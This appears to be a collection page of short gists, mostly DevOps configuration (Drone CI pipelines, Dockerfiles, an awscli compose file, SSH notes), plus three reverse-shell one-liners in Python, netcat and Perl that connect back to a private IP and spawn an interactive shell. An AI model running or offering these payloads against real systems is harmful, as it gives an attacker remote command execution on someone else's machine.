This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pipeline: | |
| deploy-server-elastic-beanstalk: | |
| image: peloton/drone-elastic-beanstalk | |
| region: us-east-2 | |
| application: drone | |
| version_label: ${DRONE_BUILD_NUMBER}-${DRONE_BRANCH}-drone-server | |
| description: Drone server [Deployed with DroneCI] | |
| environment_name: production-drone | |
| environment_update: true |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pipeline: | |
| frontend: | |
| image: node | |
| commands: | |
| - npm install | |
| - npm test | |
| backend: | |
| image: golang | |
| commands: | |
| - go test -v |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| awscli: | |
| image: omerxx/awscli | |
| volumes: | |
| - ~/.aws:/root/.aws | |
| command: tail -f /dev/null | |
| # Usage: | |
| # Save as docker-compose.yml | |
| # Run docker-compose up -d | |
| # Run docker exec -it $(docker ps -q) /bin/sh |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import boto3 | |
| # Listing all stacks in the AWS account that are currently active | |
| def list_stacks(client): | |
| response = client.list_stacks( | |
| StackStatusFilter=['CREATE_COMPLETE', 'UPDATE_COMPLETE'] | |
| ) | |
| return response | |
| # Iterate through the list and delete everything |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Changing port on the host using | |
| # vim /etc/ssh/sshd_config | |
| # Find '# Port: 22', uncomment and change to desired PORT | |
| # Config your local environment to SSH with the new port: | |
| # Host bastion | |
| # User ec2-user | |
| # Hostname bastion.company.com | |
| # IdentityFile ~/.ssh/mykey |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # uses Docker Multi-Stage Build | |
| # https://docs.docker.com/v17.09/engine/userguide/eng-image/multistage-build/ | |
| # -- builder container | |
| FROM node:9-alpine as builder | |
| # download Yelp/dumb-init | |
| RUN apk add --no-cache curl | |
| RUN curl -sL https://github.com/Yelp/dumb-init/releases/download/v1.2.1/dumb-init_1.2.1_amd64 -o /sbin/dumb-init \ | |
| && chmod +x /sbin/dumb-init | |
| WORKDIR /opt/app |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| import socket,subprocess,os; | |
| s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); | |
| s.connect(("<my ip address>",2375)); | |
| os.dup2(s.fileno(),0); | |
| os.dup2(s.fileno(),1); | |
| os.dup2(s.fileno(),2); | |
| p=subprocess.call(["/bin/sh","-i"]); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| nc -e /bin/bash 10.10.15.211 12345 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| perl -e 'use Socket;$i="10.10.15.211";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| FROM crystallang/crystal as builder | |
| COPY . /opt/app | |
| WORKDIR /opt/app | |
| RUN crystal build --static --release src/myapp.cr | |
| FROM scratch | |
| WORKDIR /opt/app | |
| COPY --from=builder /opt/app/myapp / | |
| CMD ["/myapp"] |